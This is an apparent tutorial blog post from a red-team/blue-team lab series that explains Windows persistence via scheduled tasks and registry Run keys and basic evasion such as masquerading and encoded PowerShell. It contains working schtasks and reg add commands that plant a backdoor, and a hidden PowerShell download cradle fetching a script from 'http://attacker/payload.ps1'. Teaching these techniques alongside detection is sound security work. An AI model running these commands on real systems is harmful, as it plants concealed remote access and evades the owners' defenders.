In our previous posts, we gained access to the target machine test001 as user John and explored the environment using Covenant C2. Now, we focus on persistence – how an attacker maintains access after the initial compromise – and a light introduction to evasion techniques to avoid detection. Persistence ensures that our malicious foothold will automatically start again even if John logs off or reboots his PC. With simple examples, we’ll cover two fundamental persistence methods (scheduled tasks and registry run keys). Then, we’ll discuss basic evasion tricks (like renaming binaries or using encoded PowerShell) that attackers use to slip past defenses. Our tone is friendly and beginner-friendly, aimed at IT pros new to red teaming and Microsoft Defender XDR.
Why Persistence Matters
Once a red teamer has a foothold on a system, they want to keep that access. Without persistence, a reboot or logout could wipe out the malware or shell we worked so hard to install. Persistence mechanisms allow the attacker’s tools (like our Covenant “Grunt” agent or a script) to automatically run whenever certain events happen (like system startup or user logon). This is analogous to setting up camp: if initial compromise is breaking in, persistence is like leaving a hidden door unlocked so we can return later. From the blue team perspective, persistence changes are suspicious; an attentive defender or Microsoft Defender XDR might flag new autoruns or scheduled jobs. That’s why attackers often also employ evasion to make their persistence blend in or be more challenging to detect.
Before diving in, here’s a quick recap of our lab: We have a Windows 10 host test001 with user John. We’re operating as an attacker on that machine (via Covenant C2), and now we want to ensure our access survives reboots. Let’s explore two common ways to persist on Windows.
Scheduled Tasks for Persistence
Note: Credit for the below Schedule Tasks and persistence to Malware development: persistence – part 27. Scheduled Tasks. Simple C example – Malware Analysis – Malware Analysis, News and Indicators
One classic Windows feature abused for persistence is the Task Scheduler. Windows allows admins and users to schedule programs or scripts to run at specific times or events (such, at logon or system startup). An attacker can create a scheduled task that launches their payload on a trigger like “at logon”. This means our malicious program will run every time John (or any user, or even the system) logs in. If we have administrative privileges, we can schedule tasks to run as SYSTEM on startup, giving us high-integrity persistence.
Using the command-line tool schtasks.exe, we can create such a task. For example, suppose we already dropped a payload backdoor.exe on the system (or we plan to use PowerShell to fetch it from the network). We could schedule it to run at logon with a command like:
schtasks /create /tn "UpdaterTask" /tr "C:\Users\John\backdoor.exe" /sc onlogon /ru John /f
This command creates a task named “UpdaterTask” that runs our backdoor at logon (/sc onlogon) as user John (/ru John). The /f flag forces the creation (overwriting any existing task with that name). If we needed SYSTEM privileges persistently, we could use /ru SYSTEM (which requires admin rights to create).
When run, schtasks will respond with a success message if the task is created correctly. In our lab, we can simulate this. For instance, our persistence script might run something like the above command. After execution, we see confirmation:
Output from Windows PowerShell confirming a scheduled task was created for persistence. The task “MeowTask” (our backdoor) is scheduled to run at logon, and Windows reports it was created successfully.
In the screenshot above, a tool (pers.exe) was run internally called schtasks to create a task named “MeowTask”. The SUCCESS message indicates the task was registered. When the trigger condition (user logon) occurs, Windows will execute the command we specified (hack.exe in that demo). We would substitute our Covenant stager or malicious script path for our scenario.
Why is this useful? After John’s machine reboots or John logs in tomorrow, our task will fire and re-establish our control (e.g. relaunching the Covenant agent). This saves us from having to phish John again or exploit another vulnerability – we’ve got a foothold planted.
Note: Scheduled tasks can be created via GUI (Task Scheduler MMC) or commands. Attackers prefer the command line or scripts (for automation). They also often choose innocuous names and descriptions for the tasks. Naming it “GoogleUpdateTaskMachine” or “Windows Update Checker” instead of something obvious like “EvilTask” helps it blend in. We’ll talk more about evasion shortly.
Quick Detour – Verifying the Task
It’s good practice for red and blue teamers to verify that the persistence mechanism works. As a red teamer, you might list scheduled tasks to see yours is there (schtasks /query) or simply wait for the next trigger and confirm you got a callback to your C2. As a Blue Teamer, you can use Event Viewer or Microsoft Defender XDR logs to see new task creation events (Windows logs an event ID 4698 for task creation). After creating “UpdaterTask” in our lab, we could run schtasks /query /tn UpdaterTask to ensure it’s listed. We could also force-run it with schtasks /run /tn UpdaterTask to test that it launches our payload.
Registry Run Keys for Persistence
Another fundamental persistence method on Windows is using registry “Run” keys. Windows has specific registry locations that automatically execute programs on startup or user logon. The most commonly abused are:
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Entries under “Run” will run the specified program every time a user (for HKCU) or any user (for HKLM) logs into Windows. As an attacker, if we have at least user-level access on John’s account, we can add a value under his HKCU…\Run key pointing to our malicious program or script. Then, whenever John logs in, Windows will automatically launch our payload. If we have an admin/system, we could add it to HKLM Run to affect all users (or ensure it runs at boot for any account).
Setting a Run key is as simple as adding a new string value in that registry path with the path to our executable. For example, using the reg.exe command-line:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDrive Update" /t REG_SZ /d "C:\Users\John\AppData\Roaming\OneDriveUpdate\backdoor.exe"
This would create a new autostart entry called “OneDrive Update” for John’s profile, pointing to our backdoor executable. We chose that name and path to appear legitimate (perhaps we placed our backdoor in a folder that sounds like OneDrive’s updater). Every time John logs in, the backdoor.exe will launch, thanks to this registry key.
We can confirm the persistence of our Run key by checking the registry or using PowerShell. In the screenshot below, you can see an example where a malicious Run key was added and its effect on login:
Checking the HKCU…\Run registry key via PowerShell. In this example, two normal startup entries (OneDrive and Process Hacker) exist, and an attacker has added a new one (“hack”) pointing to a malicious hack.exe. The malware demonstrated its presence on the right by popping a “Meow-meow!” message box after login.
In our lab scenario, we would do something similar – add a Run key perhaps named innocuously. For instance, we could name it “Chrome Update” and have it run a PowerShell command or our Covenant implant. The next time the user logs in, our code executes automatically.
A significant difference between Scheduled Tasks and Run keys is permissions: Regular users can add Run keys for their account (HKCU), but adding a Scheduled Task that runs as SYSTEM or an HKLM Run key requires administrator privileges. If our compromise with John gave us only user rights, the HKCU Run key would be an easy persistence that wouldn’t require escalating privileges. (Of course, its persistence is tied to John’s login in that case.) On the other hand, Scheduled Tasks can be created in the user context (with /ru John), which also doesn’t need admin. Always choose a method appropriate to the level of access you have.
Let’s summarize the two methods:
Persistence Method | Requires Admin? | Trigger | Location |
Scheduled Task | Not if run as current user (yes if SYSTEM) | On schedule or event (e.g. at logon, startup, daily) | Task Scheduler (Windows manages in Task Scheduler Library) |
Registry Run Key | Not for HKCU (yes for HKLM) | At user logon (or system start for HKLM) | Registry (Auto-run keys in HKCU or HKLM) |
Both techniques are widely used by malware and red teams because they are simple and reliable. MITRE ATT&CK tracks these as techniques T1053.005 (Scheduled Task/Job) and T1547.001 (Registry Run Keys/Startup Folder), respectively – essentially “Boot or Logon Autostart Execution”. Defenders often inspect these locations when hunting for threats.
Using Covenant to Set Up Persistence
We’ve described what to do on the target up to now. But how does our remote red team operator actually execute these changes on test001? In our lab, we have the Covenant command-and-control platform with an active agent (“Grunt”) on John’s machine. We can leverage Covenant’s interface to run the necessary commands.
Covenant provides a convenient Tasks interface where you can issue tasks/commands to the agent on the compromised host. This can include built-in modules or simply running shell commands on the target. For example, we could use a “ShellCmd” task in Covenant to run the reg add or schtasks commands as shown above on test001 via our grunt.
Covenant C2’s Task interface for an active grunt. An operator can choose from various predefined tasks or execute shell commands. (Highlighted here is an example task selection, e.g., “PortScan” in the dropdown, but we could just as easily select a shell command task to create a scheduled task or add a Run key on the target.)
Using Covenant, we don’t even need direct interactive login on John’s machine. We instruct our agent to set up persistence for us. For instance, we might go to the grunt’s Interact tab and run:
shellcmd schtasks /create /tn "ChromeUpdater" /tr "powershell.exe -WindowStyle hidden -enc Base64Payload" /sc onlogon /ru John /f
The above would tell the grunt to create a scheduled task (as John) that runs an encoded PowerShell payload at logon – combining persistence and evasion (more on the encoded payload in a moment!). Covenant would return the output of that command so we can verify success (e.g., “SUCCESS: The scheduled task…has been created.”). We could also script the Run key addition similarly. Covenant’s role is to be our hands on the keyboard of the remote system so we can persist in our access without ever logging in through RDP or GUI.
In practice, many C2 frameworks also have built-in persistence modules. For example, Covenant might have a task for “Persist via Schtasks,” or Meterpreter might have scripts to add run keys, etc. Doing it manually via shell commands in a beginner lab is great for learning what’s happening under the hood.
Basic Evasion Techniques
Now that we have our persistence in place, let’s talk about evasion – hiding our activities from defenders or automated security tools. Persistence mechanisms tend to leave footprints (new registry entries and new scheduled tasks) that Blue Teams and tools like Microsoft Defender for Endpoint can detect. So attackers use some simple tricks to reduce the chance of immediate detection. Here are a few beginner-friendly evasion techniques:
Masquerading and Legitimate Names
One of the easiest ways to evade casual detection is masquerading – making malicious things look legitimate. We touched on this by naming our Run key “OneDrive Update” and the task “UpdaterTask” in the examples. This is intentional. An IT admin glancing might overlook an entry that sounds like it belongs. Similarly, an attacker might name their malicious executable something like svchost.exe or chrome.exe instead of hacker.exe. This plays on assumptions: if a process is named like a known Windows process, some essential security products or naive heuristics might not flag it, and human defenders might assume it’s normal.
Another common trick is renaming system utilities or living-off-the-land binaries. For instance, an attacker could copy powershell.exe to another file named notepad.exe and then use that to run commands. Some security tools had rules like “flag if PowerShell is launching suspicious scripts” – by renaming it, the tool might not apply the rule (if it keys off the process name). Of course, modern EDRs are more brilliant (they can check the file’s original signature or hash, etc.), but this tactic still appears. Attackers have renamed cmd.exe to notepad and launched it to confuse investigators. The key idea is to cloak malicious behavior under an expected name.
In our scenario, we could apply this by, say, placing our backdoor.exe in C:\Program Files\Common Files\System\ and naming it AdobeUpdater.exe, then making a Run key for “Adobe Update”. To a defender, that might not jump out as malware at first. Likewise, a scheduled “Windows Maintenance 5” task is less alarming than a “Persistence Backdoor Task”.
Hiding Command Content (Obfuscation)
Beyond names, attackers also hide the content of their commands or scripts. A classic example is PowerShell command obfuscation. PowerShell has an EncodedCommand option that takes a Base64-encoded script string to run. This allows attackers to execute complex or suspicious scripts without the actual text appearing in logs or command lines (it appears as a big base64 blob instead of readable text). It’s not encryption (defenders can decode it), but it defeats simple string-match detections (like “alert if PowerShell command contains ‘Invoke-Mimikatz’”).
For example, if we wanted to run a PowerShell snippet to launch calc, we could encode Start-Process calc.exe into Base64 and run:
powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand Base64String
To a casual observer or legacy antivirus, that command line is gibberish – they can’t see that it’s launching calc. Attackers use this to hide malicious scripts (often entire malicious PowerShell payloads are encoded). In our persistence task above, we could store our malicious script (for example, a reverse shell) in encoded form in the scheduled task, making it harder for static detection or a sysadmin who dumps scheduled task info to recognize it as harmful.
Another simple obfuscation: using PowerShell’s execution policy bypass (-ExecutionPolicy Bypass) and NoProfile/NoLogo flags to avoid any banners or profiles that might interfere, and -WindowStyle Hidden or -W Hidden to ensure no window pops up on the user’s screen. We saw these in that one-liner earlier. Attackers combine these switches routinely. For instance, a very common malicious invocation is:
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
This does multiple evasion things at once: no profile (faster, less logging), bypass execution policy (so even if the machine’s policy is RemoteSigned or Restricted, it will run our script), hidden window (user doesn’t see a PowerShell console flash), and it downloads a script from the internet and executes in memory via IEX (Invoke-Expression) without ever writing the script to disk. That last part is both persistence and evasion – we persist by fetching our payload each time (so we don’t have to drop a static file that AV might catch), and we evade file-based detection.
A one-liner scheduled task creation example from PentestLab shows an obfuscated PowerShell payload. Here, schtasks is used with powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c ‘IEX ((New-Object Net.WebClient).DownloadString(…))’ as the action. This means the task will silently invoke a PowerShell download cradle (IEX … DownloadString) to pull a script from a remote server at runtime. No suspicious file on disk and execution policy is bypassed.
In the image above, similar to what an attacker might do, you can see how complex the command looks. It hides the actual malicious intent (which is to download and run a PowerShell script from http://10.0.2.21:8080/). This kind of obfuscation is considered a basic evasion: it’s not foolproof (Defender can decode and see the URL, and may flag the behavior of Net.WebClient downloading content), but it avoids trivial detection like signature-based antivirus that might look for specific keywords or known script hashes.
Other Evasion Tidbits
Attackers have plenty more tricks as they get more advanced, but even simple measures can go a long way. Renaming binaries, using unusual character encoding, inserting random case changes or concatenations in commands (PowerShell commands are case-insensitive, so -WinDowStyLE HidDen still works but might evade case-sensitive matches), and splitting tasks among multiple steps are all in the playbook. The goal is to avoid obvious patterns. For example, instead of directly running mimikatz.exe (which every EDR will flag), a red teamer might reflectively load Mimikatz in memory via PowerShell or rename it and strip its signature. Instead of a scheduled task named “mimikatz updater” (ha!), they might schedule rundll32.exe to run some DLL (which is their payload). These are slightly more advanced, but it’s good to be aware that hiding in plain sight is the name of the game.
Finally, attackers also clean up after themselves to avoid leaving evidence. For instance, after gaining persistence, a red team might delete the original files they dropped or clear the command history. However, genuinely covering tracks is complex and often beyond “basic evasion.” In our case, we might delete the staging scripts once the run key or task is set up so that only the persistent mechanism remains.
Conclusion
In this part of the series, we established persistence on our target and touched on basic evasion. We created mechanisms (scheduled task, registry entry) to auto-launch our malicious agent, ensuring our control persists across reboots and logins. We also discussed how attackers disguise these actions to avoid detection – by using believable names and obfuscating script content. Knowing these techniques is crucial for a defender using Microsoft Defender XDR: you’d monitor for unusual new scheduled tasks or run key entries, especially those with weird commands or in odd locations. Microsoft Defender can alert on some of these (for example, Windows Defender ATP might flag a suspicious autorun or an encoded PowerShell use). As a blue teamer, you’d want to investigate tasks named “Chrome_Update” that run PowerShell, for instance.
From the red team perspective, we saw that even essential persistence can be set up with one-liners, and some obfuscation can buy us time. Always remember to balance persistence and stealth – sometimes the simplest persistence (that works) is chosen, and other times stealthier methods are worth the effort, depending on the engagement.
In the next part, we’ll likely step into the Blue Team’s shoes and see how these persistent footholds can be detected and removed using Microsoft Defender XDR tools and telemetry. We’ll also continue to explore the cat-and-mouse game of evasion versus detection. Stay tuned as we keep following our “Red Teaming and Blue Teaming with Microsoft Defender XDR” storyline – our adventure is far from over, and now the defenders will be on high alert for those sneaky persistence tricks we planted!
Thanks,
John Sr.